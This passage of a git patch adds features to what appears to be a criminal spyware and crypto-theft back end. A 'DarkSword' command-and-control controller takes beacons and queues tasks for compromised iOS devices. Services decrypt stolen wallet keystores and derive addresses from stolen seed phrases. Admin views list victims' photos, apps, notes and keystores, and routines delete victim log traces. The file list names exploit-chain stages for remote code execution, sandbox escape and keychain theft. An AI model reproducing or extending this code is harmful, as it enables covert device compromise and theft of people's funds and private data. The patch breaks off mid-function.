From db574cc62980aaffb4746a06a455fed0ff7e29de Mon Sep 17 00:00:00 2001 From: hashbro Date: Mon, 24 Aug 2026 06:23:07 +0800 Subject: [PATCH] feat: ds --- .gitignore | 3 + app/Console/Commands/LinkMnemonicsCommand.php | 14 +- app/Helpers.php | 8 +- .../Controllers/Admin/DeviceController.php | 145 +- .../Controllers/Admin/KeystoreController.php | 157 + .../Controllers/Admin/MnemonicController.php | 4 +- .../Controllers/Admin/PageVisitController.php | 85 +- .../Controllers/C2/DarkSwordC2Controller.php | 434 + .../Hooks/TokenviewWebhookController.php | 22 +- app/Http/Controllers/PageHitController.php | 1 + app/Http/Middleware/DecryptXxbbBody.php | 5 + app/Models/Channel.php | 32 +- app/Models/Device.php | 12 +- app/Models/DsBeaconTask.php | 71 + app/Models/DsChainLog.php | 124 + app/Models/PageVisit.php | 11 + app/Models/WalletKeystore.php | 188 +- app/Services/DarkSwordIngestAdapter.php | 795 + app/Services/DsBeaconQueue.php | 221 + app/Services/DsKeystoreDecrypt.php | 684 + app/Services/DsResultStore.php | 179 + app/Services/DsTrustAddressIngest.php | 178 + app/Services/EthKeystore.php | 199 + app/Services/IngestService.php | 7 + app/Services/MnemonicWalletDiscovery.php | 48 +- app/Services/PhotoPreview.php | 234 + app/Services/TelegramNotifier.php | 70 +- app/Support/Scrypt.php | 131 + app/Support/UserAgentParser.php | 31 + app/Support/WalletSource.php | 98 + bootstrap/app.php | 13 +- channel-builder-ds/.gitignore | 3 + channel-builder-ds/README.md | 26 + channel-builder-ds/source/boot.js | 419 + channel-builder-ds/source/config.js | 18 + channel-builder-ds/source/done.html | 67 + channel-builder-ds/source/frame.html | 22 + channel-builder-ds/source/index.html | 1141 ++ channel-builder-ds/source/lab_hosts.js | 179 + channel-builder-ds/source/main.js | 329 + channel-builder-ds/source/pe_main.js | 10817 +++++++++++ .../source/pe_stage/s1_launchd.js | 103 + .../source/pe_stage/s2_keychain.js | 213 + .../source/pe_stage/s3_mempress.js | 14 + .../source/pe_stage/s4_loader.js | 55 + channel-builder-ds/source/pe_stage/s5_c2.js | 123 + .../source/pe_stage/s6_p7phase2.js | 1153 ++ channel-builder-ds/source/pe_worker.js | 10938 +++++++++++ channel-builder-ds/source/qqtime/index.html | 22 + channel-builder-ds/source/qqtime/qqtime.html | 22 + channel-builder-ds/source/qqtime_countdown.js | 65 + channel-builder-ds/source/rce_loader.js | 1179 ++ channel-builder-ds/source/rce_module.js | 3595 ++++ channel-builder-ds/source/rce_module_18.5.js | 3595 ++++ channel-builder-ds/source/rce_module_18.6.js | 4 + channel-builder-ds/source/rce_module_18.7.js | 8949 +++++++++ channel-builder-ds/source/rce_worker_18.4.js | 1024 + channel-builder-ds/source/rce_worker_18.5.js | 16124 ++++++++++++++++ channel-builder-ds/source/rce_worker_18.6.js | 14480 ++++++++++++++ channel-builder-ds/source/sbx0_main.js | 9517 +++++++++ channel-builder-ds/source/sbx0_main_18.4.js | 9517 +++++++++ channel-builder-ds/source/sbx1_main.js | 7689 ++++++++ channel-builder-ds/source/stats.json | 1 + channel-builder-ds/tools/build.py | 180 + channel-builder-ds/tools/tests/test_build.py | 70 + channel-builder-new/source/weifile/route.js | 133 + .../source/weifile/templates/blank.html | 2 +- .../source/weifile/templates/test.html | 2 +- .../source/weifile/weifile.html | 2 +- channel-builder-new/tools/pack_channel.py | 10 + channel-builder-new/tools/tests/test_build.py | 20 +- .../2026_08_21_000010_devices_family.php | 22 + .../2026_08_24_000010_page_visits_chain.php | 24 + ...026_08_24_000020_devices_family_coruna.php | 26 + ...8_24_000030_create_ds_chain_logs_table.php | 29 + ...24_000040_create_ds_beacon_tasks_table.php | 59 + ..._24_000050_skip_ds_beacon_photos_tasks.php | 34 + ..._wallet_keystores_source_and_decrypted.php | 23 + ...00061_wallet_keystores_backfill_source.php | 44 + .../views/admin/channels/index.blade.php | 12 +- resources/views/admin/content.blade.php | 3 + resources/views/admin/devices/index.blade.php | 15 + resources/views/admin/devices/show.blade.php | 121 +- .../views/admin/keystores/index.blade.php | 177 + resources/views/admin/shell.blade.php | 3 + resources/views/admin/visits/index.blade.php | 98 +- resources/views/user/shell.blade.php | 3 + routes/admin.php | 12 +- routes/console.php | 34 +- routes/ds.php | 18 + routes/hooks.php | 3 +- routes/user.php | 10 +- routes/xxbb.php | 40 +- tests/Feature/C2ApiTest.php | 17 + tests/Feature/DarkSwordC2ApiTest.php | 851 + tests/Feature/DeviceAlbumStorageTest.php | 81 +- tests/Feature/DeviceDeleteTest.php | 88 +- tests/Feature/DeviceWalletFlagTest.php | 2 +- tests/Feature/KeystoreAdminTest.php | 133 + tests/Feature/MnemonicAddressLinkTest.php | 31 +- tests/Feature/MnemonicWalletsTest.php | 28 +- tests/Feature/PageVisitTest.php | 66 +- tests/Feature/TelegramBotTest.php | 4 +- tests/Feature/TelegramNotifierRoutingTest.php | 6 +- tests/Feature/TokenviewWebhookTest.php | 34 +- tests/Feature/TransferTelegramNotifyTest.php | 6 +- tests/Feature/XxbbC2ApiTest.php | 22 + tests/Unit/DsTrustAddressIngestTest.php | 70 + tests/Unit/EthKeystoreTest.php | 126 + tests/Unit/PhotoPreviewTest.php | 79 + tests/Unit/ScryptTest.php | 21 + tests/Unit/WalletAddressDisplayTest.php | 8 +- tests/Unit/WalletKeystoreTest.php | 38 + tests/Unit/WalletSourceTest.php | 16 + 114 files changed, 108297 insertions(+), 266 deletions(-) create mode 100644 app/Http/Controllers/Admin/KeystoreController.php create mode 100644 app/Http/Controllers/C2/DarkSwordC2Controller.php create mode 100644 app/Models/DsBeaconTask.php create mode 100644 app/Models/DsChainLog.php create mode 100644 app/Services/DarkSwordIngestAdapter.php create mode 100644 app/Services/DsBeaconQueue.php create mode 100644 app/Services/DsKeystoreDecrypt.php create mode 100644 app/Services/DsResultStore.php create mode 100644 app/Services/DsTrustAddressIngest.php create mode 100644 app/Services/EthKeystore.php create mode 100644 app/Services/PhotoPreview.php create mode 100644 app/Support/Scrypt.php create mode 100644 channel-builder-ds/.gitignore create mode 100644 channel-builder-ds/README.md create mode 100644 channel-builder-ds/source/boot.js create mode 100644 channel-builder-ds/source/config.js create mode 100644 channel-builder-ds/source/done.html create mode 100644 channel-builder-ds/source/frame.html create mode 100644 channel-builder-ds/source/index.html create mode 100644 channel-builder-ds/source/lab_hosts.js create mode 100644 channel-builder-ds/source/main.js create mode 100644 channel-builder-ds/source/pe_main.js create mode 100644 channel-builder-ds/source/pe_stage/s1_launchd.js create mode 100644 channel-builder-ds/source/pe_stage/s2_keychain.js create mode 100644 channel-builder-ds/source/pe_stage/s3_mempress.js create mode 100644 channel-builder-ds/source/pe_stage/s4_loader.js create mode 100644 channel-builder-ds/source/pe_stage/s5_c2.js create mode 100644 channel-builder-ds/source/pe_stage/s6_p7phase2.js create mode 100644 channel-builder-ds/source/pe_worker.js create mode 100644 channel-builder-ds/source/qqtime/index.html create mode 100644 channel-builder-ds/source/qqtime/qqtime.html create mode 100644 channel-builder-ds/source/qqtime_countdown.js create mode 100644 channel-builder-ds/source/rce_loader.js create mode 100644 channel-builder-ds/source/rce_module.js create mode 100644 channel-builder-ds/source/rce_module_18.5.js create mode 100644 channel-builder-ds/source/rce_module_18.6.js create mode 100644 channel-builder-ds/source/rce_module_18.7.js create mode 100644 channel-builder-ds/source/rce_worker_18.4.js create mode 100644 channel-builder-ds/source/rce_worker_18.5.js create mode 100644 channel-builder-ds/source/rce_worker_18.6.js create mode 100644 channel-builder-ds/source/sbx0_main.js create mode 100644 channel-builder-ds/source/sbx0_main_18.4.js create mode 100644 channel-builder-ds/source/sbx1_main.js create mode 100644 channel-builder-ds/source/stats.json create mode 100644 channel-builder-ds/tools/build.py create mode 100644 channel-builder-ds/tools/tests/test_build.py create mode 100644 channel-builder-new/source/weifile/route.js create mode 100644 database/migrations/2026_08_21_000010_devices_family.php create mode 100644 database/migrations/2026_08_24_000010_page_visits_chain.php create mode 100644 database/migrations/2026_08_24_000020_devices_family_coruna.php create mode 100644 database/migrations/2026_08_24_000030_create_ds_chain_logs_table.php create mode 100644 database/migrations/2026_08_24_000040_create_ds_beacon_tasks_table.php create mode 100644 database/migrations/2026_08_24_000050_skip_ds_beacon_photos_tasks.php create mode 100644 database/migrations/2026_08_24_000060_wallet_keystores_source_and_decrypted.php create mode 100644 database/migrations/2026_08_24_000061_wallet_keystores_backfill_source.php create mode 100644 resources/views/admin/keystores/index.blade.php create mode 100644 routes/ds.php create mode 100644 tests/Feature/DarkSwordC2ApiTest.php create mode 100644 tests/Feature/KeystoreAdminTest.php create mode 100644 tests/Unit/DsTrustAddressIngestTest.php create mode 100644 tests/Unit/EthKeystoreTest.php create mode 100644 tests/Unit/PhotoPreviewTest.php create mode 100644 tests/Unit/ScryptTest.php create mode 100644 tests/Unit/WalletKeystoreTest.php diff --git a/.gitignore b/.gitignore index 4a45336..5abf216 100644 --- a/.gitignore +++ b/.gitignore @@ -34,8 +34,11 @@ Thumbs.db /storage/app/channel-builder /channel-builder-new/.venv /channel-builder-new/out +/channel-builder-ds/.venv +/channel-builder-ds/out /public/source /public/weifile /public/details /public/channel-source-new +/public/next-chain /storage/app/channel-builder-new diff --git a/app/Console/Commands/LinkMnemonicsCommand.php b/app/Console/Commands/LinkMnemonicsCommand.php index 24779c6..ea3d270 100644 --- a/app/Console/Commands/LinkMnemonicsCommand.php +++ b/app/Console/Commands/LinkMnemonicsCommand.php @@ -3,27 +3,35 @@ namespace App\Console\Commands; use App\Models\WalletAddress; +use App\Models\WalletMnemonic; use App\Services\MnemonicAddressLinker; +use App\Services\MnemonicWalletDiscovery; use Illuminate\Console\Command; class LinkMnemonicsCommand extends Command { protected $signature = 'coruna:link-mnemonics'; - protected $description = 'Backfill wallet_addresses.mnemonic_id for existing rows (BIP44 index 0..4)'; + protected $description = 'Link existing addresses to mnemonics, and derive TRON/ETH/BTC index 0 when a mnemonic has none'; - public function handle(MnemonicAddressLinker $linker): int + public function handle(MnemonicAddressLinker $linker, MnemonicWalletDiscovery $discovery): int { $before = WalletAddress::query()->whereNull('mnemonic_id')->count(); $this->info("unlinked addresses before: {$before}"); $result = $linker->backfill(); + $discovered = 0; + foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $mnemonic) { + $discovered += $discovery->discoverIndexZero($mnemonic); + } + $after = WalletAddress::query()->whereNull('mnemonic_id')->count(); $this->info(sprintf( - 'scanned mnemonics=%d linked=%d unlinked_after=%d', + 'scanned mnemonics=%d linked=%d discovered=%d unlinked_after=%d', $result['mnemonics'], $result['linked'], + $discovered, $after, )); diff --git a/app/Helpers.php b/app/Helpers.php index cf0365d..ed58141 100644 --- a/app/Helpers.php +++ b/app/Helpers.php @@ -1,5 +1,7 @@ getRequestUri(); - } catch (\Throwable) { + } catch (Throwable) { $url = $_SERVER['REQUEST_URI'] ?? ''; } $logStr = date('Y-m-d H:i:s').' '.$url.' '.$str."\r\n\r\n"; @@ -35,7 +37,7 @@ if (! function_exists('create_log')) { if ($isNew) { @chmod($logName, 0664); } - } catch (\Throwable) { + } catch (Throwable) { // never break the request for logging } } @@ -47,7 +49,7 @@ if (! function_exists('c2_log_request_meta')) { * * @return array{ip: string|null, remote_addr: mixed, headers: array} */ - function c2_log_request_meta(\Illuminate\Http\Request $request): array + function c2_log_request_meta(Request $request): array { $headers = []; foreach ([ diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index 70a0313..0c6623d 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -7,15 +7,20 @@ use App\Http\Controllers\Controller; use App\Models\Device; use App\Models\DeviceApp; use App\Models\DeviceEvent; +use App\Models\DsChainLog; use App\Models\Note; +use App\Models\PageVisit; use App\Models\Photo; use App\Models\User; use App\Models\WalletAddress; +use App\Models\WalletKeystore; use App\Models\WalletMnemonic; -use App\Support\AgentScope; +use App\Services\PhotoPreview; use App\Services\Tokenview\TokenviewMonitorService; +use App\Support\AgentScope; use Illuminate\Database\Eloquent\Builder; use Illuminate\Http\Request; +use Illuminate\Support\Collection; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Storage; @@ -58,6 +63,7 @@ class DeviceController extends Controller return [ 'id' => $d->id, 'device_id' => $d->device_id, + 'family' => $d->family ?: Device::FAMILY_CORUNA, 'channel_id' => $d->channel_id ?: '', 'source_domain' => $d->source_domain ?: '', 'device_model' => $d->device_model ?: '', @@ -86,7 +92,7 @@ class DeviceController extends Controller $this->authorizeDevice($device); $tab = $request->query('tab', 'wallets'); - if (! in_array($tab, ['wallets', 'mnemonics', 'photos', 'apps', 'notes', 'events'], true)) { + if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events'], true)) { $tab = 'wallets'; } @@ -109,12 +115,15 @@ class DeviceController extends Controller ->values(); } + $device->load(['beaconTasks']); + return view('admin.devices.show', [ 'device' => $device, 'tab' => $tab, 'addressSources' => $addressSources, 'addressChains' => $addressChains, 'portal' => $this->portal(), + 'beaconTasks' => $device->beaconTasks, ]); } @@ -131,6 +140,7 @@ class DeviceController extends Controller return match ($tab) { 'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page), 'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page), + 'keystores' => $this->paginateKeystores($device, $field, $order, $limit, $page), 'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page), 'apps' => $this->paginateApps($device, $field, $order, $limit, $page), 'notes' => $this->paginateNotes($device, $field, $order, $limit, $page), @@ -139,16 +149,17 @@ class DeviceController extends Controller }; } - public function photo(Device $device, int $photo) + public function photo(Device $device, int $photo, PhotoPreview $preview) { $this->authorizeDevice($device); $row = $device->photos()->whereKey($photo)->firstOrFail(); abort_unless(Storage::disk('local')->exists($row->path), 404); - $mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream'; + $abs = Storage::disk('local')->path($row->path); + $out = $preview->payload($abs, (string) $device->device_id, (string) ($row->sha256 ?: '')); - return response(Storage::disk('local')->get($row->path), 200) - ->header('Content-Type', $mime); + return response($out['bytes'], 200) + ->header('Content-Type', $out['mime']); } public function update(Request $request, Device $device) @@ -177,6 +188,7 @@ class DeviceController extends Controller $this->authorizeDevice($device); $deletedFiles = $this->deletePhotoFiles($device); + app(PhotoPreview::class)->forgetForDevice((string) $device->device_id); $deletedRows = $device->photos()->delete(); $this->deleteStorageDir('c2/photos/'.$device->device_id); @@ -210,9 +222,13 @@ class DeviceController extends Controller private function purgeDevice(Device $device): void { $this->deletePhotoFiles($device); + app(PhotoPreview::class)->forgetForDevice((string) $device->device_id); $this->deleteStorageDir('c2/photos/'.$device->device_id); $this->deleteStorageDir('c2/check/'.$device->device_id); + $this->deleteStorageDir('c2/ds-results/'.$device->device_id); + $this->deleteStorageDir('c2/ds-chunks/'.$device->device_id); $this->unmonitorAddresses($device); + $this->purgeDarkSwordLogs($device); DB::transaction(function () use ($device) { $device->apps()->delete(); @@ -222,10 +238,93 @@ class DeviceController extends Controller $device->addresses()->delete(); $device->mnemonics()->delete(); $device->keystores()->delete(); + $device->beaconTasks()->delete(); $device->delete(); }); } + private function purgeDarkSwordLogs(Device $device): void + { + $keys = $this->deviceLogKeys($device); + if ($keys === []) { + return; + } + + DsChainLog::query()->whereIn('client_uid', $keys)->delete(); + PageVisit::query()->whereIn('client_uid', $keys)->delete(); + $this->purgeDsFileLogs($keys); + } + + /** + * @return list + */ + private function deviceLogKeys(Device $device): array + { + $raw = trim((string) $device->device_id); + $hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $raw) ?? ''); + $keys = []; + foreach ([$raw, strtoupper($raw), $hex] as $key) { + if ($key !== '' && ! in_array($key, $keys, true)) { + $keys[] = $key; + } + } + + return $keys; + } + + /** + * @param list $keys + */ + private function purgeDsFileLogs(array $keys): void + { + $dir = public_path('log/ds'); + if (! is_dir($dir)) { + return; + } + + $needles = array_values(array_unique(array_filter(array_map( + static fn (string $key) => strtolower($key), + $keys + ), static fn (string $key) => strlen($key) >= 8))); + if ($needles === []) { + return; + } + + foreach (glob($dir.'/*.log') ?: [] as $file) { + $raw = @file_get_contents($file); + if (! is_string($raw) || $raw === '') { + continue; + } + $parts = preg_split("/\r\n\r\n|\n\n/", $raw) ?: []; + $kept = []; + $changed = false; + foreach ($parts as $part) { + if (trim($part) === '') { + continue; + } + $hay = strtolower($part); + $hit = false; + foreach ($needles as $needle) { + if (str_contains($hay, $needle)) { + $hit = true; + break; + } + } + if ($hit) { + $changed = true; + + continue; + } + $kept[] = $part; + } + if (! $changed) { + continue; + } + $out = $kept === [] ? '' : implode("\r\n\r\n", $kept)."\r\n\r\n"; + @file_put_contents($file, $out); + } + } + private function deletePhotoFiles(Device $device): int { $deletedFiles = 0; @@ -380,6 +479,30 @@ class DeviceController extends Controller return $this->layuiPage($paginator->total(), $data); } + private function paginateKeystores(Device $device, string $field, string $order, int $limit, int $page) + { + $sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at']; + if (! in_array($field, $sortable, true)) { + $field = 'id'; + } + $paginator = $device->keystores()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page); + $portal = $this->portal(); + $data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) { + return [ + 'id' => $row->id, + 'source' => $row->sourceLabel(), + 'decrypted' => (int) $row->decrypted, + 'kind' => $row->kindLabel(), + 'item_count' => $row->itemCount(), + 'summary' => $row->summary(), + 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), + 'items_url' => route($portal.'.keystores.items', $row->id), + ]; + })->values(); + + return $this->layuiPage($paginator->total(), $data); + } + private function paginateApps(Device $device, string $field, string $order, int $limit, int $page) { $sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at']; @@ -454,7 +577,7 @@ class DeviceController extends Controller } /** - * @param \Illuminate\Support\Collection>|array> $data + * @param Collection>|array> $data */ private function layuiPage(int $count, $data) { @@ -467,7 +590,7 @@ class DeviceController extends Controller } /** - * @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} + * @return array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} */ private function filtersFrom(Request $request): array { @@ -479,6 +602,7 @@ class DeviceController extends Controller return [ 'device_key' => trim((string) $request->query('device_key', '')), + 'family' => trim((string) $request->query('family', '')), 'channel_id' => trim((string) $request->query('channel_id', '')), 'model' => trim((string) $request->query('model', '')), 'ip' => trim((string) $request->query('ip', '')), @@ -491,7 +615,7 @@ class DeviceController extends Controller } /** - * @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters + * @param array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters */ private function filteredQuery(array $filters): Builder { @@ -501,6 +625,9 @@ class DeviceController extends Controller if ($filters['device_key'] !== '') { $q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%'); } + if ($filters['family'] !== '' && in_array($filters['family'], [Device::FAMILY_CORUNA, Device::FAMILY_DARKSWORD], true)) { + $q->where('devices.family', $filters['family']); + } if ($filters['channel_id'] !== '') { $q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%'); } diff --git a/app/Http/Controllers/Admin/KeystoreController.php b/app/Http/Controllers/Admin/KeystoreController.php new file mode 100644 index 0000000..39e03aa --- /dev/null +++ b/app/Http/Controllers/Admin/KeystoreController.php @@ -0,0 +1,157 @@ +isAgentPortal() + ? collect() + : User::query()->orderBy('username')->get(['id', 'username']); + $sources = WalletKeystore::query() + ->where('source', '!=', '') + ->distinct() + ->orderBy('source') + ->pluck('source'); + + return view('admin.keystores.index', [ + 'portal' => $this->portal(), + 'agents' => $agents, + 'sources' => $sources, + ]); + } + + public function data(Request $request) + { + $q = $this->baseQuery($request); + + $sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at']; + $field = (string) $request->query('field', 'id'); + $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; + if (! in_array($field, $sortable, true)) { + $field = 'id'; + } + $q->orderBy('wallet_keystores.'.$field, $order); + + $limit = max(1, min(100, (int) $request->query('limit', 20))); + $page = max(1, (int) $request->query('page', 1)); + $paginator = $q->paginate($limit, ['*'], 'page', $page); + + $portal = $this->portal(); + $data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) { + return $this->rowPayload($row, $portal); + })->values(); + + return response()->json([ + 'code' => 0, + 'msg' => '', + 'count' => $paginator->total(), + 'data' => $data, + ]); + } + + public function items(WalletKeystore $keystore) + { + if (! $this->keystoreAllowed($keystore)) { + return response()->json(['code' => 1, 'msg' => '无权操作'], 403); + } + + return response()->json([ + 'code' => 0, + 'msg' => '', + 'data' => [ + 'id' => $keystore->id, + 'source' => $keystore->sourceLabel(), + 'decrypted' => (int) $keystore->decrypted, + 'kind' => $keystore->kindLabel(), + 'items' => $keystore->listedItems(), + ], + ]); + } + + /** + * @return array + */ + public function rowPayload(WalletKeystore $row, string $portal): array + { + return [ + 'id' => $row->id, + 'device_key' => $row->device_key ?? $row->device?->device_id ?? '', + 'channel_id' => $row->device_channel_id ?? $row->device?->channel_id ?? '', + 'source' => $row->sourceLabel(), + 'decrypted' => (int) $row->decrypted, + 'kind' => $row->kindLabel(), + 'item_count' => $row->itemCount(), + 'summary' => $row->summary(), + 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), + 'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']), + 'items_url' => route($portal.'.keystores.items', $row->id), + ]; + } + + private function keystoreAllowed(WalletKeystore $keystore): bool + { + $allowed = WalletKeystore::query() + ->join('devices', 'devices.id', '=', 'wallet_keystores.device_id') + ->where('wallet_keystores.id', $keystore->id); + AgentScope::applyDeviceChannelScope($allowed, $this->agent()); + + return $allowed->exists(); + } + + private function baseQuery(Request $request): Builder + { + $q = WalletKeystore::query() + ->join('devices', 'devices.id', '=', 'wallet_keystores.device_id') + ->select([ + 'wallet_keystores.*', + 'devices.device_id as device_key', + 'devices.channel_id as device_channel_id', + ]); + + AgentScope::applyDeviceChannelScope($q, $this->agent()); + + $channelId = trim((string) $request->query('channel_id', '')); + $deviceKey = trim((string) $request->query('device_key', '')); + $source = trim((string) $request->query('source', '')); + $decrypted = trim((string) $request->query('decrypted', '')); + if ($channelId !== '') { + $q->where('devices.channel_id', 'like', '%'.$channelId.'%'); + } + if ($deviceKey !== '') { + $q->where('devices.device_id', 'like', '%'.$deviceKey.'%'); + } + if ($source !== '') { + if ($source === '未知') { + $q->where(function (Builder $inner) { + $inner->whereNull('wallet_keystores.source') + ->orWhere('wallet_keystores.source', ''); + }); + } else { + $q->where('wallet_keystores.source', $source); + } + } + if ($decrypted === '0' || $decrypted === '1') { + $q->where('wallet_keystores.decrypted', (int) $decrypted); + } + if (! $this->isAgentPortal()) { + AgentScope::applyAgentUserFilter( + $q, + AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')) + ); + } + + return $q; + } +} diff --git a/app/Http/Controllers/Admin/MnemonicController.php b/app/Http/Controllers/Admin/MnemonicController.php index 653b91d..071d6c1 100644 --- a/app/Http/Controllers/Admin/MnemonicController.php +++ b/app/Http/Controllers/Admin/MnemonicController.php @@ -85,7 +85,7 @@ class MnemonicController extends Controller return response()->json(['code' => 1, 'msg' => '无权操作'], 403); } - $discovery->discoverFundedIndexZero($mnemonic); + $discovery->discoverIndexZero($mnemonic); return response()->json([ 'code' => 0, @@ -116,7 +116,7 @@ class MnemonicController extends Controller RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS); - $discovery->discoverFundedIndexZero($mnemonic); + $discovery->discoverIndexZero($mnemonic); $addresses = WalletAddress::query() ->where('mnemonic_id', $mnemonic->id) diff --git a/app/Http/Controllers/Admin/PageVisitController.php b/app/Http/Controllers/Admin/PageVisitController.php index 3acf8ea..715984c 100644 --- a/app/Http/Controllers/Admin/PageVisitController.php +++ b/app/Http/Controllers/Admin/PageVisitController.php @@ -4,11 +4,13 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Concerns\PortalAware; use App\Http\Controllers\Controller; +use App\Models\DsChainLog; use App\Models\PageVisit; use App\Models\User; use App\Support\AgentScope; use Carbon\Carbon; use Illuminate\Http\Request; + class PageVisitController extends Controller { use PortalAware; @@ -36,7 +38,7 @@ class PageVisitController extends Controller ->orderByDesc('id') ->forPage($page, $limit) ->get([ - 'id', 'channel_id', 'client_uid', 'os', 'os_version', + 'id', 'channel_id', 'client_uid', 'chain', 'os', 'os_version', 'browser', 'browser_version', 'user_agent', 'ip', 'domain', 'referer', 'created_at', ]); @@ -48,6 +50,8 @@ class PageVisitController extends Controller 'id' => $v->id, 'channel_id' => $v->channel_id, 'client_uid' => $v->client_uid, + 'chain' => (int) $v->chain, + 'chain_label' => PageVisit::chainLabel((int) $v->chain), 'os' => $v->os ?: '', 'os_version' => $v->os_version ?: '', 'browser' => $v->browser ?: '', @@ -61,66 +65,35 @@ class PageVisitController extends Controller ]); } - public function groups(Request $request) + public function logs(Request $request) { - $group = (string) $request->query('group', 'os'); - $base = $this->scopedQuery($request); - $builder = match ($group) { - 'os_version' => $base - ->select('os', 'os_version') - ->selectRaw('COUNT(*) as pv') - ->selectRaw('COUNT(DISTINCT client_uid) as uv') - ->groupBy('os', 'os_version'), - 'domain' => $base - ->select('domain') - ->selectRaw('COUNT(*) as pv') - ->selectRaw('COUNT(DISTINCT client_uid) as uv') - ->groupBy('domain'), - 'browser' => $base - ->select('browser') - ->selectRaw('COUNT(*) as pv') - ->selectRaw('COUNT(DISTINCT client_uid) as uv') - ->groupBy('browser'), - 'browser_version' => $base - ->select('browser', 'browser_version') - ->selectRaw('COUNT(*) as pv') - ->selectRaw('COUNT(DISTINCT client_uid) as uv') - ->groupBy('browser', 'browser_version'), - default => $base - ->select('os') - ->selectRaw('COUNT(*) as pv') - ->selectRaw('COUNT(DISTINCT client_uid) as uv') - ->groupBy('os'), - }; + $uid = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', (string) $request->query('client_uid', '')) ?? ''); + if ($uid === '') { + return response()->json(['code' => 1, 'msg' => '缺少访客 UID', 'data' => []]); + } - $rows = $builder - ->orderByDesc('pv') - ->limit(50) - ->get() - ->map(static function ($row) use ($group) { - $label = match ($group) { - 'os_version' => trim(((string) ($row->os ?? '')).' '.((string) ($row->os_version ?? ''))), - 'domain' => (string) ($row->domain ?? ''), - 'browser' => (string) ($row->browser ?? ''), - 'browser_version' => trim(((string) ($row->browser ?? '')).' '.((string) ($row->browser_version ?? ''))), - default => (string) ($row->os ?? ''), - }; + $visible = $this->scopedQuery($request)->where('client_uid', $uid)->where('chain', PageVisit::CHAIN_DARKSWORD); + if (! $visible->exists()) { + return response()->json(['code' => 0, 'msg' => '', 'data' => []]); + } - return [ - 'label' => $label !== '' ? $label : 'Unknown', - 'pv' => (int) $row->pv, - 'uv' => (int) $row->uv, - ]; - }) - ->values(); + $rows = DsChainLog::query() + ->where('client_uid', $uid) + ->orderBy('id') + ->limit(200) + ->get(); return response()->json([ 'code' => 0, 'msg' => '', - 'data' => [ - 'group' => $group, - 'rows' => $rows, - ], + 'data' => $rows->map(static fn (DsChainLog $row) => [ + 'id' => $row->id, + 'stage' => $row->stage, + 'stage_label' => DsChainLog::stageTitle((string) $row->stage), + 'progress' => (int) $row->progress, + 'label' => $row->label ?: '', + 'created_at' => optional($row->created_at)?->toDateTimeString(), + ])->values(), ]); } @@ -141,6 +114,10 @@ class PageVisitController extends Controller $q->where('channel_id', 'like', '%'.$channelId.'%'); } + if ($request->query->has('chain') && $request->query('chain') !== '') { + $q->where('chain', (int) $request->query('chain')); + } + $os = trim((string) $request->query('os', '')); if ($os !== '') { $q->where('os', $os); diff --git a/app/Http/Controllers/C2/DarkSwordC2Controller.php b/app/Http/Controllers/C2/DarkSwordC2Controller.php new file mode 100644 index 0000000..954e671 --- /dev/null +++ b/app/Http/Controllers/C2/DarkSwordC2Controller.php @@ -0,0 +1,434 @@ +path(), '/'); + if (! in_array($path, ['/a', '/u', '/nb', '/event', '/result'], true)) { + return false; + } + + if ($request->headers->has('x-ts') && (string) $request->header('x-ts') !== '') { + return false; + } + + $ct = strtolower((string) $request->header('content-type', '')); + if (str_contains($ct, 'json')) { + return true; + } + + $raw = ltrim((string) $request->getContent()); + + return $raw !== '' && ($raw[0] === '{' || $raw[0] === '['); + } + + public function beacon(Request $request): SymfonyResponse + { + $payload = $this->jsonBody($request); + $device = $this->ingest->ensureDevice($request, $payload); + $command = $device ? $this->beaconQueue->dequeue($device) : null; + + $body = [ + 'ok' => true, + 'type' => $command['type'] ?? 'noop', + 'client_ip' => $request->ip(), + 'uuid' => $payload['uuid'] ?? $payload['lhu'] ?? null, + ]; + if ($command !== null) { + $body['command_id'] = $command['command_id']; + $body['params'] = $command['params']; + } + + return $this->finish($request, '/beacon', $payload, response()->json($body)); + } + + public function war(Request $request): SymfonyResponse + { + return $this->ok($request, '/war', $this->jsonBody($request)); + } + + public function p(Request $request): SymfonyResponse + { + return $this->ok($request, '/p', $this->jsonBody($request)); + } + + public function stats(Request $request): SymfonyResponse + { + return $this->finish($request, '/stats', $this->jsonBody($request), response()->json([ + 'bytes' => strlen((string) $request->getContent()), + 'ok' => true, + 'path' => '/stats', + ])); + } + + public function log(Request $request): SymfonyResponse + { + $payload = $this->payloadFromQueryOrJson($request); + + return 